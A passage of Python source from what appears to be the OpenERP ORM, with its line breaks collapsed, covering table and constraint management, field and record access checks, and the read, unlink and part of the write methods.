field)) if not cr.rowcount: cr.execute('ALTER TABLE "%s" ADD COLUMN "%s" %s' % (self._table, field, field_def)) cr.commit() _schema.debug("Table '%s': added column '%s' with definition=%s", self._table, field, field_def) def _select_column_data(self, cr): # attlen is the number of bytes necessary to represent the type when # the type has a fixed size. If the type has a varying size attlen is # -1 and atttypmod is the size limit + 4, or -1 if there is no limit. cr.execute("SELECT c.relname,a.attname,a.attlen,a.atttypmod,a.attnotnull,a.atthasdef,t.typname,CASE WHEN a.attlen=-1 THEN (CASE WHEN a.atttypmod=-1 THEN 0 ELSE a.atttypmod-4 END) ELSE a.attlen END as size " \ "FROM pg_class c,pg_attribute a,pg_type t " \ "WHERE c.relname=%s " \ "AND c.oid=a.attrelid " \ "AND a.atttypid=t.oid", (self._table,)) return dict(map(lambda x: (x['attname'], x),cr.dictfetchall())) def _o2m_raise_on_missing_reference(self, cr, f): # TODO this check should be a method on fields.one2many. other = self.pool.get(f._obj) if other: # TODO the condition could use fields_get_keys(). if f._fields_id not in other._columns.keys(): if f._fields_id not in other._inherit_fields.keys(): raise except_orm('Programming Error', "There is no reference field '%s' found for '%s'" % (f._fields_id, f._obj,)) def _m2m_raise_or_create_relation(self, cr, f): m2m_tbl, col1, col2 = f._sql_names(self) # do not create relations for custom fields as they do not belong to a module # they will be automatically removed when dropping the corresponding ir.model.field # table name for custom relation all starts with x_, see __init__ if not m2m_tbl.startswith('x_'): self._save_relation_table(cr, m2m_tbl) cr.execute("SELECT relname FROM pg_class WHERE relkind IN ('r','v') AND relname=%s", (m2m_tbl,)) if not cr.dictfetchall(): if not self.pool.get(f._obj): raise except_orm('Programming Error', 'Many2Many destination model does not exist: `%s`' % (f._obj,)) dest_model = self.pool.get(f._obj) ref = dest_model._table cr.execute('CREATE TABLE "%s" ("%s" INTEGER NOT NULL, "%s" INTEGER NOT NULL, UNIQUE("%s","%s"))' % (m2m_tbl, col1, col2, col1, col2)) # create foreign key references with ondelete=cascade, unless the targets are SQL views cr.execute("SELECT relkind FROM pg_class WHERE relkind IN ('v') AND relname=%s", (ref,)) if not cr.fetchall(): self._m2o_add_foreign_key_unchecked(m2m_tbl, col2, dest_model, 'cascade') cr.execute("SELECT relkind FROM pg_class WHERE relkind IN ('v') AND relname=%s", (self._table,)) if not cr.fetchall(): self._m2o_add_foreign_key_unchecked(m2m_tbl, col1, self, 'cascade') cr.execute('CREATE INDEX "%s_%s_index" ON "%s" ("%s")' % (m2m_tbl, col1, m2m_tbl, col1)) cr.execute('CREATE INDEX "%s_%s_index" ON "%s" ("%s")' % (m2m_tbl, col2, m2m_tbl, col2)) cr.execute("COMMENT ON TABLE \"%s\" IS 'RELATION BETWEEN %s AND %s'" % (m2m_tbl, self._table, ref)) cr.commit() _schema.debug("Create table '%s': m2m relation between '%s' and '%s'", m2m_tbl, self._table, ref) def _add_sql_constraints(self, cr): """ Modify this model's database table constraints so they match the one in _sql_constraints. """ def unify_cons_text(txt): return txt.lower().replace(', ',',').replace(' (','(') for (key, con, _) in self._sql_constraints: conname = '%s_%s' % (self._table, key) self._save_constraint(cr, conname, 'u') cr.execute("SELECT conname, pg_catalog.pg_get_constraintdef(oid, true) as condef FROM pg_constraint where conname=%s", (conname,)) existing_constraints = cr.dictfetchall() sql_actions = { 'drop': { 'execute': False, 'query': 'ALTER TABLE "%s" DROP CONSTRAINT "%s"' % (self._table, conname, ), 'msg_ok': "Table '%s': dropped constraint '%s'. Reason: its definition changed from '%%s' to '%s'" % ( self._table, conname, con), 'msg_err': "Table '%s': unable to drop \'%s\' constraint !" % (self._table, con), 'order': 1, }, 'add': { 'execute': False, 'query': 'ALTER TABLE "%s" ADD CONSTRAINT "%s" %s' % (self._table, conname, con,), 'msg_ok': "Table '%s': added constraint '%s' with definition=%s" % (self._table, conname, con), 'msg_err': "Table '%s': unable to add \'%s\' constraint !\n If you want to have it, you should update the records and execute manually:\n%%s" % ( self._table, con), 'order': 2, }, } if not existing_constraints: # constraint does not exists: sql_actions['add']['execute'] = True sql_actions['add']['msg_err'] = sql_actions['add']['msg_err'] % (sql_actions['add']['query'], ) elif unify_cons_text(con) not in [unify_cons_text(item['condef']) for item in existing_constraints]: # constraint exists but its definition has changed: sql_actions['drop']['execute'] = True sql_actions['drop']['msg_ok'] = sql_actions['drop']['msg_ok'] % (existing_constraints[0]['condef'].lower(), ) sql_actions['add']['execute'] = True sql_actions['add']['msg_err'] = sql_actions['add']['msg_err'] % (sql_actions['add']['query'], ) # we need to add the constraint: sql_actions = [item for item in sql_actions.values()] sql_actions.sort(key=lambda x: x['order']) for sql_action in [action for action in sql_actions if action['execute']]: try: cr.execute(sql_action['query']) cr.commit() _schema.debug(sql_action['msg_ok']) except: _schema.warning(sql_action['msg_err']) cr.rollback() def _execute_sql(self, cr): """ Execute the SQL code from the _sql attribute (if any).""" if hasattr(self, "_sql"): for line in self._sql.split(';'): line2 = line.replace('\n', '').strip() if line2: cr.execute(line2) cr.commit() # # Update objects that uses this one to update their _inherits fields # def _inherits_reload_src(self): """ Recompute the _inherit_fields mapping on each _inherits'd child model.""" for obj in self.pool.models.values(): if self._name in obj._inherits: obj._inherits_reload() def _inherits_reload(self): """ Recompute the _inherit_fields mapping. This will also call itself on each inherits'd child model. """ res = {} for table in self._inherits: other = self.pool.get(table) for col in other._columns.keys(): res[col] = (table, self._inherits[table], other._columns[col], table) for col in other._inherit_fields.keys(): res[col] = (table, self._inherits[table], other._inherit_fields[col][2], other._inherit_fields[col][3]) self._inherit_fields = res self._all_columns = self._get_column_infos() self._inherits_reload_src() def _get_column_infos(self): """Returns a dict mapping all fields names (direct fields and inherited field via _inherits) to a ``column_info`` struct giving detailed columns """ result = {} for k, (parent, m2o, col, original_parent) in self._inherit_fields.iteritems(): result[k] = fields.column_info(k, col, parent, m2o, original_parent) for k, col in self._columns.iteritems(): result[k] = fields.column_info(k, col) return result def _inherits_check(self): for table, field_name in self._inherits.items(): if field_name not in self._columns: _logger.info('Missing many2one field definition for _inherits reference "%s" in "%s", using default one.', field_name, self._name) self._columns[field_name] = fields.many2one(table, string="Automatically created field to link to parent %s" % table, required=True, ondelete="cascade") elif not self._columns[field_name].required or self._columns[field_name].ondelete.lower() not in ("cascade", "restrict"): _logger.warning('Field definition for _inherits reference "%s" in "%s" must be marked as "required" with ondelete="cascade" or "restrict", forcing it to required + cascade.', field_name, self._name) self._columns[field_name].required = True self._columns[field_name].ondelete = "cascade" #def __getattr__(self, name): # """ # Proxies attribute accesses to the `inherits` parent so we can call methods defined on the inherited parent # (though inherits doesn't use Python inheritance). # Handles translating between local ids and remote ids. # Known issue: doesn't work correctly when using python's own super(), don't involve inherit-based inheritance # when you have inherits. # """ # for model, field in self._inherits.iteritems(): # proxy = self.pool.get(model) # if hasattr(proxy, name): # attribute = getattr(proxy, name) # if not hasattr(attribute, '__call__'): # return attribute # break # else: # return super(orm, self).__getattr__(name) # def _proxy(cr, uid, ids, *args, **kwargs): # objects = self.browse(cr, uid, ids, kwargs.get('context', None)) # lst = [obj[field].id for obj in objects if obj[field]] # return getattr(proxy, name)(cr, uid, lst, *args, **kwargs) # return _proxy def fields_get(self, cr, user, allfields=None, context=None, write_access=True): """ Return the definition of each field. The returned value is a dictionary (indiced by field name) of dictionaries. The _inherits'd fields are included. The string, help, and selection (if present) attributes are translated. :param cr: database cursor :param user: current user id :param allfields: list of fields :param context: context arguments, like lang, time zone :return: dictionary of field dictionaries, each one describing a field of the business object :raise AccessError: * if user has no create/write rights on the requested object """ if context is None: context = {} write_access = self.check_access_rights(cr, user, 'write', raise_exception=False) \ or self.check_access_rights(cr, user, 'create', raise_exception=False) res = {} translation_obj = self.pool.get('ir.translation') for parent in self._inherits: res.update(self.pool.get(parent).fields_get(cr, user, allfields, context)) for f, field in self._columns.iteritems(): if (allfields and f not in allfields) or \ (field.groups and not self.user_has_groups(cr, user, groups=field.groups, context=context)): continue res[f] = fields.field_to_dict(self, cr, user, field, context=context) if not write_access: res[f]['readonly'] = True res[f]['states'] = {} if 'lang' in context: if 'string' in res[f]: res_trans = translation_obj._get_source(cr, user, self._name + ',' + f, 'field', context['lang']) if res_trans: res[f]['string'] = res_trans if 'help' in res[f]: help_trans = translation_obj._get_source(cr, user, self._name + ',' + f, 'help', context['lang']) if help_trans: res[f]['help'] = help_trans if 'selection' in res[f]: if isinstance(field.selection, (tuple, list)): sel = field.selection sel2 = [] for key, val in sel: val2 = None if val: val2 = translation_obj._get_source(cr, user, self._name + ',' + f, 'selection', context['lang'], val) sel2.append((key, val2 or val)) res[f]['selection'] = sel2 return res def check_field_access_rights(self, cr, user, operation, fields, context=None): """ Check the user access rights on the given fields. This raises Access Denied if the user does not have the rights. Otherwise it returns the fields (as is if the fields is not falsy, or the readable/writable fields if fields is falsy). """ def p(field_name): """Predicate to test if the user has access to the given field name.""" # Ignore requested field if it doesn't exist. This is ugly but # it seems to happen at least with 'name_alias' on res.partner. if field_name not in self._all_columns: return True field = self._all_columns[field_name].column if user != SUPERUSER_ID and field.groups: return self.user_has_groups(cr, user, groups=field.groups, context=context) else: return True if not fields: fields = filter(p, self._all_columns.keys()) else: filtered_fields = filter(lambda a: not p(a), fields) if filtered_fields: _logger.warning('Access Denied by ACLs for operation: %s, uid: %s, model: %s, fields: %s', operation, user, self._name, ', '.join(filtered_fields)) raise except_orm( _('Access Denied'), _('The requested operation cannot be completed due to security restrictions. ' 'Please contact your system administrator.\n\n(Document type: %s, Operation: %s)') % \ (self._description, operation)) return fields def read(self, cr, user, ids, fields=None, context=None, load='_classic_read'): """ Read records with given ids with the given fields :param cr: database cursor :param user: current user id :param ids: id or list of the ids of the records to read :param fields: optional list of field names to return (default: all fields would be returned) :type fields: list (example ['field_name_1', ...]) :param context: optional context dictionary - it may contains keys for specifying certain options like ``context_lang``, ``context_tz`` to alter the results of the call. A special ``bin_size`` boolean flag may also be passed in the context to request the value of all fields.binary columns to be returned as the size of the binary instead of its contents. This can also be selectively overriden by passing a field-specific flag in the form ``bin_size_XXX: True/False`` where ``XXX`` is the name of the field. Note: The ``bin_size_XXX`` form is new in OpenERP v6.0. :return: list of dictionaries((dictionary per record asked)) with requested field values :rtype: [{‘name_of_the_field’: value, ...}, ...] :raise AccessError: * if user has no read rights on the requested object * if user tries to bypass access rules for read on the requested object """ if not context: context = {} self.check_access_rights(cr, user, 'read') fields = self.check_field_access_rights(cr, user, 'read', fields) if isinstance(ids, (int, long)): select = [ids] else: select = ids select = map(lambda x: isinstance(x, dict) and x['id'] or x, select) result = self._read_flat(cr, user, select, fields, context, load) for r in result: for key, v in r.items(): if v is None: r[key] = False if isinstance(ids, (int, long, dict)): return result and result[0] or False return result def _read_flat(self, cr, user, ids, fields_to_read, context=None, load='_classic_read'): if not context: context = {} if not ids: return [] if fields_to_read is None: fields_to_read = self._columns.keys() else: fields_to_read = list(set(fields_to_read)) # all inherited fields + all non inherited fields for which the attribute whose name is in load is True fields_pre = [f for f in fields_to_read if f == self.CONCURRENCY_CHECK_FIELD or (f in self._columns and getattr(self._columns[f], '_classic_write')) ] + self._inherits.values() res = [] if len(fields_pre): def convert_field(f): f_qual = '%s."%s"' % (self._table, f) # need fully-qualified references in case len(tables) > 1 if f in ('create_date', 'write_date'): return "date_trunc('second', %s) as %s" % (f_qual, f) if f == self.CONCURRENCY_CHECK_FIELD: if self._log_access: return "COALESCE(%s.write_date, %s.create_date, (now() at time zone 'UTC'))::timestamp AS %s" % (self._table, self._table, f,) return "(now() at time zone 'UTC')::timestamp AS %s" % (f,) if isinstance(self._columns[f], fields.binary) and context.get('bin_size', False): return 'length(%s) as "%s"' % (f_qual, f) return f_qual # Construct a clause for the security rules. # 'tables' hold the list of tables necessary for the SELECT including the ir.rule clauses, # or will at least contain self._table. rule_clause, rule_params, tables = self.pool.get('ir.rule').domain_get(cr, user, self._name, 'read', context=context) fields_pre2 = map(convert_field, fields_pre) order_by = self._parent_order or self._order select_fields = ','.join(fields_pre2 + ['%s.id' % self._table]) query = 'SELECT %s FROM %s WHERE %s.id IN %%s' % (select_fields, ','.join(tables), self._table) if rule_clause: query += " AND " + (' OR '.join(rule_clause)) query += " ORDER BY " + order_by for sub_ids in cr.split_for_in_conditions(ids): cr.execute(query, [tuple(sub_ids)] + rule_params) results = cr.dictfetchall() result_ids = [x['id'] for x in results] self._check_record_rules_result_count(cr, user, sub_ids, result_ids, 'read', context=context) res.extend(results) else: self.check_access_rule(cr, user, ids, 'read', context=context) res = map(lambda x: {'id': x}, ids) if context.get('lang'): for f in fields_pre: if f == self.CONCURRENCY_CHECK_FIELD: continue if self._columns[f].translate: ids = [x['id'] for x in res] #TODO: optimize out of this loop res_trans = self.pool.get('ir.translation')._get_ids(cr, user, self._name+','+f, 'model', context['lang'], ids) for r in res: r[f] = res_trans.get(r['id'], False) or r[f] for table in self._inherits: col = self._inherits[table] cols = [x for x in intersect(self._inherit_fields.keys(), fields_to_read) if x not in self._columns.keys()] if not cols: continue res2 = self.pool.get(table).read(cr, user, [x[col] for x in res], cols, context, load) res3 = {} for r in res2: res3[r['id']] = r del r['id'] for record in res: if not record[col]: # if the record is deleted from _inherits table? continue record.update(res3[record[col]]) if col not in fields_to_read: del record[col] # all fields which need to be post-processed by a simple function (symbol_get) fields_post = filter(lambda x: x in self._columns and self._columns[x]._symbol_get, fields_to_read) if fields_post: for r in res: for f in fields_post: r[f] = self._columns[f]._symbol_get(r[f]) ids = [x['id'] for x in res] # all non inherited fields for which the attribute whose name is in load is False fields_post = filter(lambda x: x in self._columns and not getattr(self._columns[x], load), fields_to_read) # Compute POST fields todo = {} for f in fields_post: todo.setdefault(self._columns[f]._multi, []) todo[self._columns[f]._multi].append(f) for key, val in todo.items(): if key: res2 = self._columns[val[0]].get(cr, self, ids, val, user, context=context, values=res) assert res2 is not None, \ 'The function field "%s" on the "%s" model returned None\n' \ '(a dictionary was expected).' % (val[0], self._name) for pos in val: for record in res: if isinstance(res2[record['id']], str): res2[record['id']] = eval(res2[record['id']]) #TOCHECK : why got string instend of dict in python2.6 multi_fields = res2.get(record['id'],{}) if multi_fields: record[pos] = multi_fields.get(pos,[]) else: for f in val: res2 = self._columns[f].get(cr, self, ids, f, user, context=context, values=res) for record in res: if res2: record[f] = res2[record['id']] else: record[f] = [] # Warn about deprecated fields now that fields_pre and fields_post are computed # Explicitly use list() because we may receive tuples for f in list(fields_pre) + list(fields_post): field_column = self._all_columns.get(f) and self._all_columns.get(f).column if field_column and field_column.deprecated: _logger.warning('Field %s.%s is deprecated: %s', self._name, f, field_column.deprecated) readonly = None for vals in res: for field in vals.copy(): fobj = None if field in self._columns: fobj = self._columns[field] if not fobj: continue groups = fobj.read if groups: edit = False for group in groups: module = group.split(".")[0] grp = group.split(".")[1] cr.execute("select count(*) from res_groups_users_rel where gid IN (select res_id from ir_model_data where name=%s and module=%s and model=%s) and uid=%s", \ (grp, module, 'res.groups', user)) readonly = cr.fetchall() if readonly[0][0] >= 1: edit = True break elif readonly[0][0] == 0: edit = False else: edit = False if not edit: if type(vals[field]) == type([]): vals[field] = [] elif type(vals[field]) == type(0.0): vals[field] = 0 elif type(vals[field]) == type(''): vals[field] = '=No Permission=' else: vals[field] = False return res # TODO check READ access def perm_read(self, cr, user, ids, context=None, details=True): """ Returns some metadata about the given records. :param details: if True, \*_uid fields are replaced with the name of the user :return: list of ownership dictionaries for each requested record :rtype: list of dictionaries with the following keys: * id: object id * create_uid: user who created the record * create_date: date when the record was created * write_uid: last user who changed the record * write_date: date of the last change to the record * xmlid: XML ID to use to refer to this record (if there is one), in format ``module.name`` """ if not context: context = {} if not ids: return [] fields = '' uniq = isinstance(ids, (int, long)) if uniq: ids = [ids] fields = ['id'] if self._log_access: fields += ['create_uid', 'create_date', 'write_uid', 'write_date'] quoted_table = '"%s"' % self._table fields_str = ",".join('%s.%s'%(quoted_table, field) for field in fields) query = '''SELECT %s, __imd.module, __imd.name FROM %s LEFT JOIN ir_model_data __imd ON (__imd.model = %%s and __imd.res_id = %s.id) WHERE %s.id IN %%s''' % (fields_str, quoted_table, quoted_table, quoted_table) cr.execute(query, (self._name, tuple(ids))) res = cr.dictfetchall() for r in res: for key in r: r[key] = r[key] or False if details and key in ('write_uid', 'create_uid') and r[key]: try: r[key] = self.pool.get('res.users').name_get(cr, user, [r[key]])[0] except Exception: pass # Leave the numeric uid there r['xmlid'] = ("%(module)s.%(name)s" % r) if r['name'] else False del r['name'], r['module'] if uniq: return res[ids[0]] return res def _check_concurrency(self, cr, ids, context): if not context: return if not (context.get(self.CONCURRENCY_CHECK_FIELD) and self._log_access): return check_clause = "(id = %s AND %s < COALESCE(write_date, create_date, (now() at time zone 'UTC'))::timestamp)" for sub_ids in cr.split_for_in_conditions(ids): ids_to_check = [] for id in sub_ids: id_ref = "%s,%s" % (self._name, id) update_date = context[self.CONCURRENCY_CHECK_FIELD].pop(id_ref, None) if update_date: ids_to_check.extend([id, update_date]) if not ids_to_check: continue cr.execute("SELECT id FROM %s WHERE %s" % (self._table, " OR ".join([check_clause]*(len(ids_to_check)/2))), tuple(ids_to_check)) res = cr.fetchone() if res: # mention the first one only to keep the error message readable raise except_orm('ConcurrencyException', _('A document was modified since you last viewed it (%s:%d)') % (self._description, res[0])) def _check_record_rules_result_count(self, cr, uid, ids, result_ids, operation, context=None): """Verify the returned rows after applying record rules matches the length of `ids`, and raise an appropriate exception if it does not. """ ids, result_ids = set(ids), set(result_ids) missing_ids = ids - result_ids if missing_ids: # Attempt to distinguish record rule restriction vs deleted records, # to provide a more specific error message - check if the missinf cr.execute('SELECT id FROM ' + self._table + ' WHERE id IN %s', (tuple(missing_ids),)) if cr.rowcount: # the missing ids are (at least partially) hidden by access rules if uid == SUPERUSER_ID: return _logger.warning('Access Denied by record rules for operation: %s, uid: %s, model: %s', operation, uid, self._name) raise except_orm(_('Access Denied'), _('The requested operation cannot be completed due to security restrictions. Please contact your system administrator.\n\n(Document type: %s, Operation: %s)') % \ (self._description, operation)) else: # If we get here, the missing_ids are not in the database if operation in ('read','unlink'): # No need to warn about deleting an already deleted record. # And no error when reading a record that was deleted, to prevent spurious # errors for non-transactional search/read sequences coming from clients return _logger.warning('Failed operation on deleted record(s): %s, uid: %s, model: %s', operation, uid, self._name) raise except_orm(_('Missing document(s)'), _('One of the documents you are trying to access has been deleted, please try again after refreshing.')) def check_access_rights(self, cr, uid, operation, raise_exception=True): # no context on purpose. """Verifies that the operation given by ``operation`` is allowed for the user according to the access rights.""" return self.pool.get('ir.model.access').check(cr, uid, self._name, operation, raise_exception) def check_access_rule(self, cr, uid, ids, operation, context=None): """Verifies that the operation given by ``operation`` is allowed for the user according to ir.rules. :param operation: one of ``write``, ``unlink`` :raise except_orm: * if current ir.rules do not permit this operation. :return: None if the operation is allowed """ if uid == SUPERUSER_ID: return if self.is_transient(): # Only one single implicit access rule for transient models: owner only! # This is ok to hardcode because we assert that TransientModels always # have log_access enabled so that the create_uid column is always there. # And even with _inherits, these fields are always present in the local # table too, so no need for JOINs. cr.execute("""SELECT distinct create_uid FROM %s WHERE id IN %%s""" % self._table, (tuple(ids),)) uids = [x[0] for x in cr.fetchall()] if len(uids) != 1 or uids[0] != uid: raise except_orm(_('Access Denied'), _('For this kind of document, you may only access records you created yourself.\n\n(Document type: %s)') % (self._description,)) else: where_clause, where_params, tables = self.pool.get('ir.rule').domain_get(cr, uid, self._name, operation, context=context) if where_clause: where_clause = ' and ' + ' and '.join(where_clause) for sub_ids in cr.split_for_in_conditions(ids): cr.execute('SELECT ' + self._table + '.id FROM ' + ','.join(tables) + ' WHERE ' + self._table + '.id IN %s' + where_clause, [sub_ids] + where_params) returned_ids = [x['id'] for x in cr.dictfetchall()] #from pdb import set_trace;set_trace() self._check_record_rules_result_count(cr, uid, sub_ids, returned_ids, operation, context=context) def _workflow_trigger(self, cr, uid, ids, trigger, context=None): """Call given workflow trigger as a result of a CRUD operation""" wf_service = netsvc.LocalService("workflow") for res_id in ids: getattr(wf_service, trigger)(uid, self._name, res_id, cr) def _workflow_signal(self, cr, uid, ids, signal, context=None): """Send given workflow signal and return a dict mapping ids to workflow results""" wf_service = netsvc.LocalService("workflow") result = {} for res_id in ids: result[res_id] = wf_service.trg_validate(uid, self._name, res_id, signal, cr) return result def unlink(self, cr, uid, ids, context=None): """ Delete records with given ids :param cr: database cursor :param uid: current user id :param ids: id or list of ids :param context: (optional) context arguments, like lang, time zone :return: True :raise AccessError: * if user has no unlink rights on the requested object * if user tries to bypass access rules for unlink on the requested object :raise UserError: if the record is default property for other records """ if not ids: return True if isinstance(ids, (int, long)): ids = [ids] result_store = self._store_get_values(cr, uid, ids, self._all_columns.keys(), context) self._check_concurrency(cr, ids, context) self.check_access_rights(cr, uid, 'unlink') ir_property = self.pool.get('ir.property') ir_attachment_obj = self.pool.get('ir.attachment') # Check if the records are used as default properties. domain = [('res_id', '=', False), ('value_reference', 'in', ['%s,%s' % (self._name, i) for i in ids]), ] if ir_property.search(cr, uid, domain, context=context): raise except_orm(_('Error'), _('Unable to delete this document because it is used as a default property')) # Delete the records' properties. property_ids = ir_property.search(cr, uid, [('res_id', 'in', ['%s,%s' % (self._name, i) for i in ids])], context=context) ir_property.unlink(cr, uid, property_ids, context=context) self._workflow_trigger(cr, uid, ids, 'trg_delete', context=context) self.check_access_rule(cr, uid, ids, 'unlink', context=context) pool_model_data = self.pool.get('ir.model.data') ir_values_obj = self.pool.get('ir.values') for sub_ids in cr.split_for_in_conditions(ids): cr.execute('delete from ' + self._table + ' ' \ 'where id IN %s', (sub_ids,)) # Removing the ir_model_data reference if the record being deleted is a record created by xml/csv file, # as these are not connected with real database foreign keys, and would be dangling references. # Note: following steps performed as admin to avoid access rights restrictions, and with no context # to avoid possible side-effects during admin calls. # Step 1. Calling unlink of ir_model_data only for the affected IDS reference_ids = pool_model_data.search(cr, SUPERUSER_ID, [('res_id','in',list(sub_ids)),('model','=',self._name)]) # Step 2. Marching towards the real deletion of referenced records if reference_ids: pool_model_data.unlink(cr, SUPERUSER_ID, reference_ids) # For the same reason, removing the record relevant to ir_values ir_value_ids = ir_values_obj.search(cr, uid, ['|',('value','in',['%s,%s' % (self._name, sid) for sid in sub_ids]),'&',('res_id','in',list(sub_ids)),('model','=',self._name)], context=context) if ir_value_ids: ir_values_obj.unlink(cr, uid, ir_value_ids, context=context) # For the same reason, removing the record relevant to ir_attachment # The search is performed with sql as the search method of ir_attachment is overridden to hide attachments of deleted records cr.execute('select id from ir_attachment where res_model = %s and res_id in %s', (self._name, sub_ids)) ir_attachment_ids = [ir_attachment[0] for ir_attachment in cr.fetchall()] if ir_attachment_ids: ir_attachment_obj.unlink(cr, uid, ir_attachment_ids, context=context) for order, object, store_ids, fields in result_store: if object == self._name: effective_store_ids = list(set(store_ids) - set(ids)) else: effective_store_ids = store_ids if effective_store_ids: obj = self.pool.get(object) cr.execute('select id from '+obj._table+' where id IN %s', (tuple(effective_store_ids),)) rids = map(lambda x: x[0], cr.fetchall()) if rids: obj._store_set_values(cr, uid, rids, fields, context) return True # # TODO: Validate # def write(self, cr, user, ids, vals, context=None): """ Update records with given ids with the given field values :param cr: database cursor :param user: current user id :type user: integer :param ids: object id or list of object ids to update according to **vals** :param vals: field values to update, e.g {'field_name': new_field_value, ...} :type vals: dictionary :param context: (optional) context arguments, e.g. {'lang': 'en_us', 'tz': 'UTC', ...} :type context: dictionary :return: True :raise AccessError: * if user has no write rights on the requested object * if user tries to bypass access rules for write on the requested object :raise ValidateError: if user tries to enter invalid value for a field that is not in selection :raise UserError: if a loop would be created in a hierarchy of objects a result of the operation (such as setting an object as its own parent) **Note**: The type of field values to pass in ``vals`` for relationship fields is specific: + For a many2many field, a list of tuples is expected. Here is the list of tuple that are accepted, with the corresponding semantics :: (0, 0, { values }) link to a new record that needs to be created with the given values dictionary (1, ID, { values }) update the linked record with id = ID (write *values* on it) (2, ID) remove and delete the linked record with id = ID (calls unlink on ID, that will delete the object completely, and the link to it as well) (3, ID) cut the link to the linked record with id = ID (delete the relationship between the two objects but does not delete the target object itself) (4, ID) link to existing record with id = ID (adds a relationship) (5) unlink all (like using (3,ID) for all linked records) (6, 0, [IDs]) replace the list of linked IDs (like using (5) then (4,ID) for each ID in the list of IDs) Example: [(6, 0, [8, 5, 6, 4])] sets the many2many to ids [8, 5, 6, 4] + For a one2many field, a lits of tuples is expected. Here is the list of tuple that are accepted, with the corresponding semantics :: (0, 0, { values }) link to a new record that needs to be created with the given values dictionary (1, ID, { values }) update the linked record with id = ID (write *values* on it) (2, ID) remove and delete the linked record with id = ID (calls unlink on ID, that will delete the object completely, and the link to it as well) Example: [(0, 0, {'field_name':field_value_record1, ...}), (0, 0, {'field_name':field_value_record2, ...})] + For a many2one field, simply use the ID of target record, which must already exist, or ``False`` to remove the link. + For a reference field, use a string with the model name, a comma, and the target object id (example: ``'product.product, 5'``) """ readonly = None self.check_field_access_rights(cr, user, 'write', vals.keys()) deleted_related = defaultdict(list) for field in vals.copy(): fobj = None if field in self._columns: fobj = self._columns[field] elif field in self._inherit_fields: fobj = self._inherit_fields[field][2] if not fobj: continue if fobj._type in ['one2many', 'many2many'] and vals[field]: for wtuple in vals[field]: if isinstance(wtuple, (tuple, list)) and wtuple[0] == 2: deleted_related[fobj._obj].append(wtuple[1]) groups = fobj.write if groups: edit = False for group in groups: module = group.split(".")[0] grp = group.split(".")[1] cr.execute("select count(*) from res_groups_users_rel where gid IN (select res_id from ir_model_data where name=%s and module=%s and model=%s) and uid=%s", \ (grp, module, 'res.groups', user)) readonly = cr.fetchall() if readonly[0][0] >= 1: edit = True break if not edit: vals.pop(field) if not context: context = {} if not ids: return True if isinstance(ids, (int, long)): ids = [ids] self._check_concurrency(cr, ids, context) self.check_access_rights(cr, user, 'write') result = self._store_get_values(cr, user, ids, vals.keys(), context) or [] # No direct update of parent_left/right vals.pop('parent_left', None) vals.pop('parent_right', None) parents_changed = [] parent_order = self._parent_order or self._order if self._parent_store and (self._parent_name in vals): # The parent_left/right computation may take up to # 5 seconds. No need to recompute the values if the # parent is the same. # Note: to respect parent_order, nodes must be processed in # order, so ``parents_changed`` must be ordered properly. parent_val = vals[self._parent_name] if parent_val: query = "SELECT id FROM %s WHERE id IN %%s AND (%s != %%s OR %s IS NULL) ORDER BY %s" % \ (self._table, self._parent_name, self._parent_name, parent_order) cr.execute(query, (tuple(ids), parent_val)) else: query = "SELECT id FROM %s WHERE id IN %%s AND (%s IS NOT NULL) ORDER BY %s" % \ (self._table, self._parent_name, parent_order) cr.execute(query, (tuple(ids),)) parents_changed = map(operator.itemgetter(0), cr.fetchall()) upd0 = [] upd1 = [] upd_todo = [] updend = [] direct = [] totranslate = context.get('lang', False) and (context['lang'] != 'en_US') for field in vals: field_column = self._all_columns.get(field) and self._all_columns.get(field).column if field_column and field_column.deprecated: _logger.warning('Field %s.%s is deprecated: %s', self._name, field, field_column.deprecated) if field in self._columns: if self._columns[field]._classic_write and not (hasattr(self._columns[field], '_fnct_inv')): if (not totranslate) or not self._columns[field].translate: upd0.append('"'+field+'"='+self._columns[field]._symbol_set[0]) upd1.append(self._columns[field]._symbol_set[1](vals[field])) direct.append(field) else: upd_todo.append(field) else: updend.append(field) if field in self._columns \ and hasattr(self._columns[field], 'selection') \ and vals[field]: self._check_selection_field_value(cr, user, field, vals[field], context=context) if self._log_access: upd0.append('write_uid=%s') upd0.append("write_date=(now() at time zone 'UTC')") upd1.append(user) if len(upd0): self.check_access_rule(cr, user, ids, 'write', context=context) for sub_ids in cr.split_for_in_conditions(ids): cr.execute('update ' + self._table + ' set ' + ','.join(upd0) + ' ' \ 'where id IN %s', upd1 + [sub_ids]) if cr.rowcount != len(sub_ids): raise except_orm(_('AccessError'), _('One of the records you are trying to modify has already been deleted (Document type: %s).') % self._description) if totranslate: # TODO: optimize for f in direct: if self._columns[f].translate: src_trans = self.pool.get(self._name).read(cr, user, ids, [f])[0][f] if not src_trans: src_trans = vals[f] # Inserting value to DB context_wo_lang = dict(context, lang=None) self.write(cr, user, ids, {f: vals[f]}, context=context_wo_lang) self.pool.get('ir.translation')._set_ids(cr, user, self._name+','+f, 'model', context['lang'], ids, vals[f], src_trans) # call the 'set' method of fields which are not classic_write upd_todo.sort(lambda x, y: self._columns[x].priority-self._columns[y].priority) # default element in context must be removed when call a one2many or many2many rel_context = context.copy() for c in context.items(): if c[0].startswith('default_'): del rel_context[c[0]] for field in upd_todo: for id in ids: result += self._columns[field].set(cr, self, id, field, vals[field], user, context=rel_context) or [] unknown_fields = updend[:] for table in self._inherits: col = self._inherits[table] nids = [] for sub_ids in cr.split_for_in_conditions(ids): cr.execute('select distinct "'+col+'" from "'+self._table+'" ' \ 'where id IN %s', (sub_ids,)) nids.extend([x[0] for x in cr.fetchall()]) v = {} for val in updend: if self._inherit_fields[val][0] == table: v[val] = vals[val] unknown_fields.remove(val) if v: self.pool.get(table).write(cr, user, nids, v, context) if unknown_fields: _logger.warning( 'No such field(s) in model %s: %s.', self._name, ', '.join(unknown_fields)) self._validate(cr, user, ids, context) # TODO: use _order to set dest at the right position and not first node of parent # We can't defer parent_store computation because the stored function # fields that are computer may refer (directly or indirectly) to # parent_left/right (via a child_of domain) if parents_changed: if self.pool._init: self.pool._init_parent[self._name] = True else: order = self._parent_order or self._order parent_val = vals[self._parent_name] if parent_val: clause, params = '%s=%%s' % (self._parent_name,), (parent_val,) else: clause, params = '%s IS NULL' % (self._parent_name,), () for id in parents_changed: cr.execute('SELECT parent_left, parent_right FROM %s WHERE id=%%s' % (self._table,), (id,)) pleft, pright = cr.fetchone() distance = pright - pleft + 1 # Positions of current siblings, to locate proper insertion point; # this can _not_ be fetched outside the loop, as it needs to be refreshed # after each update, in case several nodes are sequentially inserted one # next to the 